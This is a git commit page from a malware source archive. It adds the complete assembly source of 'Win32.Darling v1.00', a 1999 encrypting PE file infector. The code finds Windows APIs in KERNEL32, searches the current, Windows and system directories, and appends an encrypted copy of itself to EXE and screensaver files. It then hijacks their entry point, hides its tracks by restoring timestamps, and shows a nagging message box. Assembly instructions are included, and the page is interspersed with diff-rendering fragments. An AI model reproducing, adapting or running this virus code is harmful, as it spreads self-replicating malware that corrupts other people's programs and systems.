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https://github.com/vxunderground/MalwareSourceCode.git
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Updated dir structure in Win32
This commit is contained in:
TheDuchy
@@ -0,0 +1,944 @@
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;============================================================================
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;
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;
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; NAME: Win32.Darling v1.00
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; TYPE: Direct-action variable-encrypting PE-infector.
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; SIZE: Around 1700 bytes.
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; AUTHOR: T-2000 / [Immortal Riot].
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; E-MAIL: T2000_@hotmail.com
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; DATE: May 1999.
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; PAYLOAD: Randomly pops-up a message-box.
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;
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;
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; FEATURES:
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;
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; - True Win32-compatible (Win-95/98/NT).
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; - Variable encrypting (32-bit key).
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; - Traps possible errors with a SEH.
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; - Infects files in current/windoze/system-directory.
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; - Non-destructive payload (ARGHHH!!!!!).
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;
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;
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; Nothing brand new at all, this is just a quick Win32.Savior hack, with
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; some improvements. Now it fetches API from KERNEL32.DLL's export-table,
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; so it doesn't have to rely on the host's imports anymore...
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;
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; Succesfully tested on Win95 (OSR/2), Win98, and WinNT (4.0).
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;
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;
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; KNOWN PROBLEMS:
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;
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; For some reason my infected dummy-files start executing wrongly decrypted
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; code, this only happens when a small file is executed two times in a row,
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; under NT. It doesn't look like a bug of mine, I suspect the caching is
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; fucking things up.
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;
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;
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; Assemble with: TASM32 SAVIOR.ASM /m /ml
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; TLINK32 SAVIOR.OBJ IMPORT32.LIB
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; PEWRSEC SAVIOR.EXE
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;
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;============================================================================
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.386p
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.MODEL FLAT
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.CODE
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ORG 0
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EXTRN ExitProcess:PROC ; Only used by the carrier.
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Debug_Mode = 1 ; If true, only DUM?.* files are
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; targetted for infection.
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Virus_Size EQU (Virus_End-START)
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Virus_Size_Mem EQU (Virus_End_Mem-START)
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Max_Infect EQU 4
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Min_Size_Infect EQU 4096
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START:
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push eax
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lidt [esp-2]
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pop eax
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jmp Carrier
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PUSH ESP ; Reserve room for EIP.
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PUSHFD ; Save registers & flags.
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PUSHAD
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CALL Get_Delta ; Get our location in memory.
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Anti_Moron DB 0E9h ; Overlapping code, anti BP.
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Get_Delta: POP EBP
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SUB EBP, (Anti_Moron-START)
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MOV EAX, 0
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Init_Key = DWORD PTR $-4
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MOV EBX, 0
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Init_Slide = DWORD PTR $-4
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MOV ECX, (Virus_End-Encrypted) / 4
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PUSH EBP
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Decrypt_DWORD: XOR [EBP+(Virus_Size-4)], EAX
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SUB EBP, 4
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ADD EAX, EBX ; Slide decryption-key.
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RCL EBX, 3 ; Slide key-slider.
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LOOP Decrypt_DWORD
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POP EBP
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IF (($-START) MOD 4) GT 0
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DB (4 - (($-START) MOD 4)) DUP(90h)
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ENDIF
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Encrypted: MOV EAX, EBP
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SUB EAX, 1000h ; Calculate image-base.
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Base_Displ = DWORD PTR $-4
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LEA EBX, [EAX+((Carrier-START)+1000h)]
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Old_EIP_RVA = DWORD PTR $-4
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MOV [ESP+(9*4)], EBX ; Set address host in stack.
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CALL Setup_SEH ; PUSH SEH-address on stack.
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MOV ESP, [ESP+(2*4)] ; Restore original stack.
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JMP Restore_SEH ; Terminate program-flow.
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Setup_SEH: PUSH DWORD PTR FS:[ECX] ; Save original SEH-pointer.
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; MOV FS:[ECX], ESP ; Set our own SEH.
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CLD
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MOV EAX, [ESP+(12*4)]
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XOR AX, AX
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Find_K32_Base: CMP EAX, 400000h ; Below application-memory?
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JB JMP_Rest_SEH ; ARGHH! Not found!
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CMP [EAX.EXE_Mark], 'ZM'
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JNE Scan_Downwards
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CMP [EAX.Reloc_Table], 40h
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JB Scan_Downwards
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MOV EBX, [EAX+3Ch]
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ADD EBX, EAX
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CMP [EBX.PE_Mark], 'EP'
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JNE Scan_Downwards
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MOV EBX, [EBX+120] ; K32's export-table.
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ADD EBX, EAX
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MOV ESI, [EBX+(3*4)] ; ASCIIZ-name of DLL.
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ADD ESI, EAX
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PUSH EAX
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LODSD
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CALL Upcase_EAX
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XCHG ECX, EAX
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LODSD
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CALL Upcase_EAX
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CMP EAX, '23LE' ; Check for KERNEL32.DLL.
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POP EAX
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JNE Scan_Downwards
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CMP ECX, 'NREK' ; Found KERNEL32.DLL ?
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JE Found_K32_Base
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Scan_Downwards: SUB EAX, 65536
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JMP Find_K32_Base
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Virus_Name DB 'Win32.Darling v1.00', 0
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JMP_Rest_SEH: JMP Restore_SEH ; Abort all.
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Found_K32_Base: MOV EDX, [EBX+(8*4)] ; Array of name RVA's.
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ADD EDX, EAX
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MOV ECX, [EBX+(6*4)] ; Amount of name entries.
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DEC ECX ; Last entry name.
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Find_GPA: MOV EDI, [EDX+(ECX*4)] ; Offset name.
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ADD EDI, EAX
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PUSHAD
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LEA ESI, [EBP+(GetProcAddress_Name-START)]
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PUSH 15
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POP ECX
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REPE CMPSB
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POPAD
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JNE LOOP_Find_GPA
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MOV ESI, [EBX+(9*4)] ; Array of API ordinals.
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ADD ESI, EAX
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MOVZX ESI, WORD PTR [ESI+(ECX*2)]
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MOV EBX, [EBX+(7*4)] ; Array of API RVA's.
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ADD EBX, EAX
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LEA EBX, [EBX+(ESI*4)]
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MOV ESI, [EBX]
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ADD ESI, EAX
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MOV [EBP+(GetProcAddress-START)], ESI
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LOOP_Find_GPA: LOOP Find_GPA
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XCHG EBX, EAX
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LEA ESI, [EBP+(API_Names-START)]
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LEA EDI, [EBP+(API_Addresses-START)]
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Loop_Get_API: PUSH ESI
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PUSH EBX
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CALL [EBP+(GetProcAddress-START)]
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CLD ; Store API-address.
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STOSD
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XCHG ECX, EAX ; API not found?
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JECXZ JMP_Rest_SEH
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Find_Next_API: LODSB
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OR AL, AL ; Found end of API-name?
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JNZ Find_Next_API
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CMP [ESI], AL ; We've did 'em all?
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JNZ Loop_Get_API
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LEA ESI, [EBP+(Current_Directory-START)]
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MOV EBX, 260
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PUSH ESI
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PUSH ESI ; Retrieve current path.
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PUSH EBX
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CALL [EBP+(GetCurrentDirectoryA-START)]
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ADD ESI, EBX
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PUSH ESI
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PUSH EBX ; Retrieve Windoze-directory.
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PUSH ESI
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CALL [EBP+(GetWindowsDirectoryA-START)]
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ADD ESI, EBX
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PUSH ESI
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PUSH EBX ; Retrieve System-directory.
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PUSH ESI
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CALL [EBP+(GetSystemDirectoryA-START)]
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; Infect files in System-directory.
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CALL [EBP+(SetCurrentDirectoryA-START)]
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CALL Infect_Directory
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; Infect files in Windoze-directory.
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CALL [EBP+(SetCurrentDirectoryA-START)]
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CALL Infect_Directory
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; Infect files in current-directory.
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CALL [EBP+(SetCurrentDirectoryA-START)]
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CALL Infect_Directory
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CALL [EBP+(GetTickCount-START)]
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CMP AL, 10
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JA Restore_SEH
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jmp Restore_SEH
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;gall
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LEA EAX, [EBP+(USER32_Name-START)]
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PUSH EAX
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CALL [EBP+(GetModuleHandleA-START)]
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XCHG ECX, EAX
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JECXZ Restore_SEH
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LEA EAX, [EBP+(MessageBoxA_Name-START)]
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PUSH EAX
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PUSH ECX
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CALL [EBP+(GetProcAddress-START)]
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OR EAX, EAX
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JZ Restore_SEH
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XCHG EBX, EAX
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; Display an OK/Cancel-box with a message.
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Show_Our_Box: PUSH 30h OR 01h
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LEA EAX, [EBP+(Payload_Title-START)]
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PUSH EAX
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LEA EAX, [EBP+(Payload_Text-START)]
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PUSH EAX
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PUSH 0
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CALL EBX
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DEC EAX ; They're disrespecting us
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DEC EAX ; by clicking on Cancel?
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JZ Show_Our_Box ; Then just repeat all.
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Restore_SEH: XOR EAX, EAX
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POP DWORD PTR FS:[EAX] ; Restore original SEH.
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POP EAX ; Trash handler-address.
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Execute_Host: POPAD ; Restore registers & flags.
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POPFD
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RET ; RETurn to our host.
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Payload_Title DB 'http://www.drrling.se', 0
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Payload_Text DB 'THIS IS A DEDICATION TO THE BEST MAGAZINE '
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DB 'IN SWEDEN, DARLING. - IR IN ''99', 0
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Infect_Directory:
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PUSHAD
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; Clear infection-counter.
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AND BYTE PTR [EBP+(Infect_Counter-START)], 0
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LEA EAX, [EBP+(Search_Record-START)]
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PUSH EAX
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LEA EAX, [EBP+(Search_Mask-START)]
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PUSH EAX
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CALL [EBP+(FindFirstFileA-START)]
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MOV ESI, EAX ; Save search-handle in ESI.
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INC EAX
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JZ Exit_Inf_Dir
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Infect_Loop: PUSHAD
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LEA EBX, [EBP+(Search_Record.Find_File_Name-START)]
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MOV ESI, EBX
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CLD
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Find_End_Name: LODSB ; Get next byte of filename.
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OR AL, AL ; Found end of the ASCIIZ ?
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JNZ Find_End_Name
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MOV EAX, [ESI-5] ; Get extension DWORD.
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CALL Upcase_EAX
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CMP EAX, 'EXE.' ; Standard .EXE-file?
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JE Extension_OK
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CMP EAX, 'RCS.' ; Screensaver?
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JNE Exit_Infect
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Extension_OK: PUSH EBX
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CALL [EBP+(GetFileAttributesA-START)]
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CMP EAX, -1 ; Error occurred?
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JE Exit_Infect
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MOV ESI, EAX
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AND AL, NOT 00000001b ; Get rid of readonly-flag.
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PUSH EAX
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PUSH EBX
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CALL [EBP+(SetFileAttributesA-START)]
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DEC EAX ; Error occurred?
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JNZ Exit_Infect
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PUSH ESI ; PUSH filename + attributes
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PUSH EBX ; for Restore_Attr.
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PUSH EAX ; Open candidate-file.
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PUSH EAX
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PUSH 3 ; Open existing.
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PUSH EAX
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PUSH EAX
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PUSH 80000000h OR 40000000h ; Read/write-access.
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PUSH EBX
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CALL [EBP+(CreateFileA-START)]
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MOV [EBP+(File_Handle-START)], EAX
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MOV ESI, EAX
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INC EAX ; Error occurred?
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JZ Restore_Attr
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PUSH ESI ; For CloseHandle.
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PUSH 0 ; Get candidate's filesize.
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PUSH ESI
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CALL [EBP+(GetFileSize-START)]
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CMP EAX, Min_Size_Infect ; File too small?
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JB Close_Handle
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LEA EAX, [EBP+(Time_Last_Write-START)]
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PUSH EAX ; Get filedates & times.
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SUB EAX, 8
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PUSH EAX
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SUB EAX, 8
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PUSH EAX
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PUSH ESI
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CALL [EBP+(GetFileTime-START)]
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; Read the MZ-header.
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Read_Header: LEA EBX, [EBP+(Header-START)]
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PUSH 40h
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POP ECX
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CALL Read_File
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JNZ Close_Handle
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CMP [EBX.EXE_Mark], 'ZM' ; It must be a true EXE-file.
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JNE Close_Handle
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CMP [EBX.Reloc_Table], 40h ; Contains a new EXE-header?
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JB Close_Handle
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MOV ESI, [EBX+3Ch]
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||||
MOV EAX, ESI ; Seek to PE-header.
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CALL Seek_File
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JZ Close_Handle
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||||
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||||
PUSH 92 ; Read-in the PE-header.
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POP ECX
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CALL Read_File
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JNZ Close_Handle
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||||
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||||
CMP [EBX.PE_Mark], 'EP' ; Verify it's a PE-header.
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JNE Close_Handle
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||||
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||||
; Program is executable?
|
||||
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||||
TEST BYTE PTR [EBX.PE_Flags], 00000010b
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||||
JZ Close_Handle
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||||
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||||
; Don't infect DLL's.
|
||||
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||||
TEST BYTE PTR [EBX.PE_Flags+1], 00100000b
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||||
JNZ Close_Handle
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||||
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||||
CMP [EBX.CPU_Type], 14Ch ; Must be a 386+ file.
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||||
JNE Close_Handle
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||||
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||||
; Is it already infected?
|
||||
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||||
CMP [EBX.Checksum], 93FB2AA7h
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||||
JE Close_Handle
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||||
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||||
PUSH ESI
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||||
|
||||
; Calculate position of the last section-header.
|
||||
|
||||
MOVZX EAX, [EBX.Number_Of_Sections]
|
||||
DEC AX
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||||
PUSH 40
|
||||
POP ECX
|
||||
MUL ECX
|
||||
|
||||
; Calculate size of PE-header.
|
||||
|
||||
MOV DX, [EBX.NT_Header_Size]
|
||||
ADD DX, 24
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||||
|
||||
LEA ECX, [ESI+EDX] ; Start section-headers.
|
||||
|
||||
ADD EAX, ECX ; EAX = last section-header.
|
||||
|
||||
PUSH EAX
|
||||
|
||||
; Seek to last section-header.
|
||||
|
||||
CALL Seek_File
|
||||
|
||||
LEA ESI, [EBP+(Last_Section_Header-START)]
|
||||
|
||||
PUSH EBX
|
||||
|
||||
MOV EBX, ESI ; Read last section-header.
|
||||
PUSH 40
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||||
POP ECX
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||||
CALL Read_File
|
||||
|
||||
POP EBX
|
||||
|
||||
MOV EAX, [ESI.Section_RVA]
|
||||
ADD EAX, [ESI.Section_Physical_Size]
|
||||
|
||||
MOV [EBP+(Base_Displ-START)], EAX
|
||||
|
||||
XCHG [EBX.EIP_RVA], EAX
|
||||
|
||||
MOV [EBP+(Old_EIP_RVA-START)], EAX
|
||||
|
||||
; Seek to the end of the section.
|
||||
|
||||
MOV EAX, [ESI.Section_Physical_Offset]
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||||
ADD EAX, [ESI.Section_Physical_Size]
|
||||
CALL Seek_File
|
||||
|
||||
MOV EAX, [ESI.Section_Physical_Size]
|
||||
ADD EAX, Virus_Size
|
||||
MOV ECX, [EBX.File_Align]
|
||||
CALL Align_EAX
|
||||
|
||||
MOV [ESI.Section_Physical_Size], EAX
|
||||
|
||||
XCHG EDI, EAX ; Save physical-size in EDI.
|
||||
|
||||
MOV EAX, [ESI.Section_Virtual_Size]
|
||||
MOV ECX, [EBX.Object_Align]
|
||||
CALL Align_EAX
|
||||
|
||||
SUB [EBX.Image_Size], EAX
|
||||
|
||||
ADD EAX, Virus_Size_Mem - 1
|
||||
|
||||
Calc_Mem_Size: INC EAX
|
||||
CALL Align_EAX
|
||||
|
||||
CMP EAX, EDI ; Virtual-size may not be
|
||||
JB Calc_Mem_Size ; smaller than physical-size.
|
||||
|
||||
MOV [ESI.Section_Virtual_Size], EAX
|
||||
|
||||
ADD [EBX.Image_Size], EAX
|
||||
|
||||
; Set section-flags: read, write, executable, & code.
|
||||
|
||||
OR [ESI.Section_Flags], 11100000000000000000000000100000b
|
||||
|
||||
LEA EDI, [EBP+(Buffer-START)]
|
||||
|
||||
PUSHAD
|
||||
|
||||
; Get a random slide-key.
|
||||
|
||||
CALL [EBP+(GetTickCount-START)]
|
||||
|
||||
MOV [EBP+(Init_Slide-START)], EAX
|
||||
|
||||
XCHG EBX, EAX
|
||||
|
||||
; Get a random encryption-key.
|
||||
|
||||
CALL [EBP+(GetTickCount-START)]
|
||||
|
||||
MOV [EBP+(Init_Key-START)], EAX
|
||||
|
||||
MOV ESI, EBP
|
||||
MOV ECX, (Virus_Size / 4)
|
||||
CLD
|
||||
REP MOVSD
|
||||
|
||||
MOV ECX, (Virus_End-Encrypted) / 4
|
||||
|
||||
Encrypt_DWORD: SUB EDI, 4
|
||||
|
||||
XOR [EDI], EAX
|
||||
|
||||
ADD EAX, EBX
|
||||
|
||||
RCL EBX, 3
|
||||
|
||||
LOOP Encrypt_DWORD
|
||||
|
||||
POPAD
|
||||
|
||||
MOV EDX, EDI ; Write virusbody to end
|
||||
MOV ECX, Virus_Size ; of the last section.
|
||||
CALL Write_File
|
||||
|
||||
POP EAX ; Offset last object-header.
|
||||
CALL Seek_File
|
||||
|
||||
; Write updated section-header back to file.
|
||||
|
||||
PUSH 40
|
||||
POP ECX
|
||||
LEA EDX, [EBP+(Last_Section_Header-START)]
|
||||
CALL Write_File
|
||||
|
||||
; Seek to end of file.
|
||||
|
||||
PUSH 2
|
||||
PUSH EAX
|
||||
PUSH EAX
|
||||
PUSH DWORD PTR [EBP+(File_Handle-START)]
|
||||
CALL [EBP+(SetFilePointer-START)]
|
||||
|
||||
XOR EDX, EDX ; Zero-pad the infected file.
|
||||
MOV EDI, [EBX.File_Align]
|
||||
DIV EDI
|
||||
|
||||
OR EDX, EDX ; File is already aligned?
|
||||
JZ Mark_Inf_File
|
||||
|
||||
SUB EDI, EDX ; Howmany bytes to pad?
|
||||
|
||||
Zero_Pad: PUSH 1 ; Write a padding-byte.
|
||||
POP ECX
|
||||
LEA EDX, [EBP+(Zero_Tolerance-START)]
|
||||
CALL Write_File
|
||||
|
||||
DEC EDI ; We've did 'em all?
|
||||
JNZ Zero_Pad
|
||||
|
||||
Mark_Inf_File: MOV [EBX.Checksum], 93FB2AA7h
|
||||
|
||||
POP EAX ; Seek to start of PE-header.
|
||||
CALL Seek_File
|
||||
|
||||
PUSH 92 ; Write updated PE-header.
|
||||
POP ECX
|
||||
MOV EDX, EBX
|
||||
CALL Write_File
|
||||
|
||||
; Increment our infection-counter.
|
||||
|
||||
INC BYTE PTR [EBP+(Infect_Counter-START)]
|
||||
|
||||
; Restore original file-dates & times.
|
||||
|
||||
Restore_Stamp: LEA EAX, [EBP+(Time_Last_Write-START)]
|
||||
PUSH EAX
|
||||
SUB EAX, 8
|
||||
PUSH EAX
|
||||
SUB EAX, 8
|
||||
PUSH EAX
|
||||
PUSH DWORD PTR [EBP+(File_Handle-START)]
|
||||
CALL [EBP+(SetFileTime-START)]
|
||||
|
||||
Close_Handle: CALL [EBP+(CloseHandle-START)]
|
||||
|
||||
Restore_Attr: CALL [EBP+(SetFileAttributesA-START)]
|
||||
|
||||
Exit_Infect: POPAD
|
||||
|
||||
; We've did enough infections?
|
||||
|
||||
CMP BYTE PTR [EBP+(Infect_Counter-START)], Max_Infect
|
||||
JNB Close_Find
|
||||
|
||||
; Find another file.
|
||||
|
||||
LEA EAX, [EBP+(Search_Record-START)]
|
||||
PUSH EAX
|
||||
PUSH ESI
|
||||
CALL [EBP+(FindNextFileA-START)]
|
||||
|
||||
DEC EAX ; Continue if search went OK.
|
||||
JZ Infect_Loop
|
||||
|
||||
Close_Find: PUSH ESI ; Close search-handle.
|
||||
CALL [EBP+(FindClose-START)]
|
||||
|
||||
Exit_Inf_Dir: POPAD
|
||||
|
||||
RET
|
||||
|
||||
|
||||
; EAX = Offset.
|
||||
; Returns ZF if error.
|
||||
Seek_File:
|
||||
PUSH 0
|
||||
PUSH 0
|
||||
PUSH EAX
|
||||
PUSH DWORD PTR [EBP+(File_Handle-START)]
|
||||
CALL [EBP+(SetFilePointer-START)]
|
||||
|
||||
INC EAX
|
||||
|
||||
RET
|
||||
|
||||
|
||||
; EBX = Buffer.
|
||||
; ECX = Bytes to read.
|
||||
; Returns ZF if successful.
|
||||
Read_File:
|
||||
PUSH 0
|
||||
LEA EAX, [EBP+(Bytes_Read-START)]
|
||||
PUSH EAX
|
||||
PUSH ECX
|
||||
PUSH EBX
|
||||
PUSH DWORD PTR [EBP+(File_Handle-START)]
|
||||
CALL [EBP+(ReadFile-START)]
|
||||
|
||||
DEC EAX
|
||||
|
||||
RET
|
||||
|
||||
|
||||
; ECX = Amount of bytes.
|
||||
; EDX = Buffer.
|
||||
; Returns ZF if successful.
|
||||
Write_File:
|
||||
PUSH 0
|
||||
LEA EAX, [EBP+(Bytes_Read-START)]
|
||||
PUSH EAX
|
||||
PUSH ECX
|
||||
PUSH EDX
|
||||
PUSH 12345678h
|
||||
File_Handle = DWORD PTR $-4
|
||||
CALL [EBP+(WriteFile-START)]
|
||||
|
||||
DEC EAX
|
||||
|
||||
RET
|
||||
|
||||
|
||||
Align_EAX:
|
||||
XOR EDX, EDX
|
||||
DIV ECX
|
||||
|
||||
OR EDX, EDX ; Even division?
|
||||
JZ No_Round ; Then no need to round-up.
|
||||
|
||||
INC EAX ; Round-up.
|
||||
|
||||
No_Round: MUL ECX
|
||||
|
||||
RET
|
||||
|
||||
|
||||
Upcase_EAX:
|
||||
ROL EAX, 8
|
||||
CALL Upcase_AL
|
||||
|
||||
ROL EAX, 8
|
||||
CALL Upcase_AL
|
||||
|
||||
ROL EAX, 8
|
||||
CALL Upcase_AL
|
||||
|
||||
ROL EAX, 8
|
||||
|
||||
Upcase_AL: CMP AL, 'a'
|
||||
JB Exit_Upcase_AL
|
||||
|
||||
CMP AL, 'z'
|
||||
JA Exit_Upcase_AL
|
||||
|
||||
SUB AL, 'a' - 'A'
|
||||
|
||||
Exit_Upcase_AL: RET
|
||||
|
||||
|
||||
IF Debug_Mode
|
||||
|
||||
Search_Mask DB 'DUM?.*', 0
|
||||
|
||||
ELSE
|
||||
|
||||
Search_Mask DB '*.*', 0
|
||||
|
||||
ENDIF
|
||||
|
||||
|
||||
USER32_Name DB 'USER32', 0
|
||||
MessageBoxA_Name DB 'MessageBoxA', 0
|
||||
GetProcAddress_Name DB 'GetProcAddress', 0
|
||||
|
||||
API_Names: DB 'GetCurrentDirectoryA', 0
|
||||
DB 'SetCurrentDirectoryA', 0
|
||||
DB 'GetWindowsDirectoryA', 0
|
||||
DB 'GetSystemDirectoryA', 0
|
||||
DB 'FindFirstFileA', 0
|
||||
DB 'FindNextFileA', 0
|
||||
DB 'FindClose', 0
|
||||
DB 'GetFileAttributesA', 0
|
||||
DB 'SetFileAttributesA', 0
|
||||
DB 'CreateFileA', 0
|
||||
DB 'CloseHandle', 0
|
||||
DB 'GetFileTime', 0
|
||||
DB 'SetFileTime', 0
|
||||
DB 'GetFileSize', 0
|
||||
DB 'SetFilePointer', 0
|
||||
DB 'ReadFile', 0
|
||||
DB 'WriteFile', 0
|
||||
DB 'GetModuleHandleA', 0
|
||||
DB 'GetTickCount', 0
|
||||
Zero_Tolerance DB 0
|
||||
|
||||
|
||||
IF (($-START) MOD 4) GT 0
|
||||
DB (4 - (($-START) MOD 4)) DUP(0)
|
||||
ENDIF
|
||||
|
||||
Virus_End:
|
||||
|
||||
|
||||
API_Addresses:
|
||||
|
||||
; === Our needed API from KERNEL32.DLL. ===
|
||||
|
||||
GetCurrentDirectoryA DD 0
|
||||
SetCurrentDirectoryA DD 0
|
||||
GetWindowsDirectoryA DD 0
|
||||
GetSystemDirectoryA DD 0
|
||||
FindFirstFileA DD 0
|
||||
FindNextFileA DD 0
|
||||
FindClose DD 0
|
||||
GetFileAttributesA DD 0
|
||||
SetFileAttributesA DD 0
|
||||
CreateFileA DD 0
|
||||
CloseHandle DD 0
|
||||
GetFileTime DD 0
|
||||
SetFileTime DD 0
|
||||
GetFileSize DD 0
|
||||
SetFilePointer DD 0
|
||||
ReadFile DD 0
|
||||
WriteFile DD 0
|
||||
GetModuleHandleA DD 0
|
||||
GetTickCount DD 0
|
||||
|
||||
GetProcAddress DD 0
|
||||
|
||||
Time_Creation DD 0, 0
|
||||
Time_Last_Access DD 0, 0
|
||||
Time_Last_Write DD 0, 0
|
||||
|
||||
Infect_Counter DB 0
|
||||
Bytes_Read DD 0
|
||||
Header DB 92 DUP(0)
|
||||
Last_Section_Header DB 40 DUP(0)
|
||||
Search_Record DB 318 DUP(0)
|
||||
|
||||
Current_Directory DB 260 DUP(0)
|
||||
Windows_Directory DB 260 DUP(0)
|
||||
System_Directory DB 260 DUP(0)
|
||||
|
||||
Buffer DB Virus_Size DUP(0)
|
||||
|
||||
Virus_End_Mem:
|
||||
|
||||
|
||||
Carrier:
|
||||
PUSH 0 ; Terminate current process.
|
||||
CALL ExitProcess
|
||||
|
||||
|
||||
;---------------------- SOME USED STRUCTURES --------------------------------
|
||||
|
||||
|
||||
EXE_Header STRUC
|
||||
EXE_Mark DW 0 ; MZ-marker (MZ or ZM).
|
||||
Image_Mod_512 DW 0
|
||||
Image_512_Pages DW 0
|
||||
Reloc_Items DW 0
|
||||
Header_Size_Mem DW 0
|
||||
Min_Size_Mem DW 0
|
||||
Max_Size_Mem DW 0
|
||||
Program_SS DW 0
|
||||
Program_SP DW 0
|
||||
MZ_Checksum DW 0
|
||||
Program_IP DW 0
|
||||
Program_CS DW 0
|
||||
Reloc_Table DW 0
|
||||
EXE_Header ENDS
|
||||
|
||||
|
||||
PE_Header STRUC
|
||||
PE_Mark DD 0 ; PE-marker (PE/0/0).
|
||||
CPU_Type DW 0 ; Minimal CPU required.
|
||||
Number_Of_Sections DW 0 ; Number of sections in PE.
|
||||
DD 0
|
||||
Reserved_1 DD 0
|
||||
DD 0
|
||||
NT_Header_Size DW 0
|
||||
PE_Flags DW 0
|
||||
DD 4 DUP(0)
|
||||
EIP_RVA DD 0
|
||||
DD 2 DUP(0)
|
||||
Image_Base DD 0
|
||||
Object_Align DD 0
|
||||
File_Align DD 0
|
||||
DW 0, 0
|
||||
DW 0, 0
|
||||
DW 0, 0
|
||||
DD 0
|
||||
Image_Size DD 0
|
||||
DD 0
|
||||
Checksum DD 0
|
||||
PE_Header ENDS
|
||||
|
||||
|
||||
Section_Header STRUC
|
||||
Section_Name DB 8 DUP(0) ; Zero-padded section-name.
|
||||
Section_Virtual_Size DD 0 ; Memory-size of section.
|
||||
Section_RVA DD 0 ; Start section in memory.
|
||||
Section_Physical_Size DD 0 ; Section-size in file.
|
||||
Section_Physical_Offset DD 0 ; Section file-offset.
|
||||
Section_Reserved_1 DD 0 ; Not used for executables.
|
||||
Section_Reserved_2 DD 0 ; Not used for executables.
|
||||
Section_Reserved_3 DD 0 ; Not used for executables.
|
||||
Section_Flags DD 0 ; Flags of the section.
|
||||
Section_Header ENDS
|
||||
|
||||
|
||||
Find_First_Next_Win32 STRUC
|
||||
File_Attributes DD 0
|
||||
Creation_Time DD 0, 0
|
||||
Last_Accessed_Time DD 0, 0
|
||||
Last_Written_Time DD 0, 0
|
||||
Find_File_Size_High DD 0
|
||||
Find_File_Size_Low DD 0
|
||||
Find_Reserved_1 DD 0
|
||||
Find_Reserved_2 DD 0
|
||||
Find_File_Name DB 260 DUP(0)
|
||||
Find_DOS_File_Name DB 14 DUP(0)
|
||||
Find_First_Next_Win32 ENDS
|
||||
|
||||
END START
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user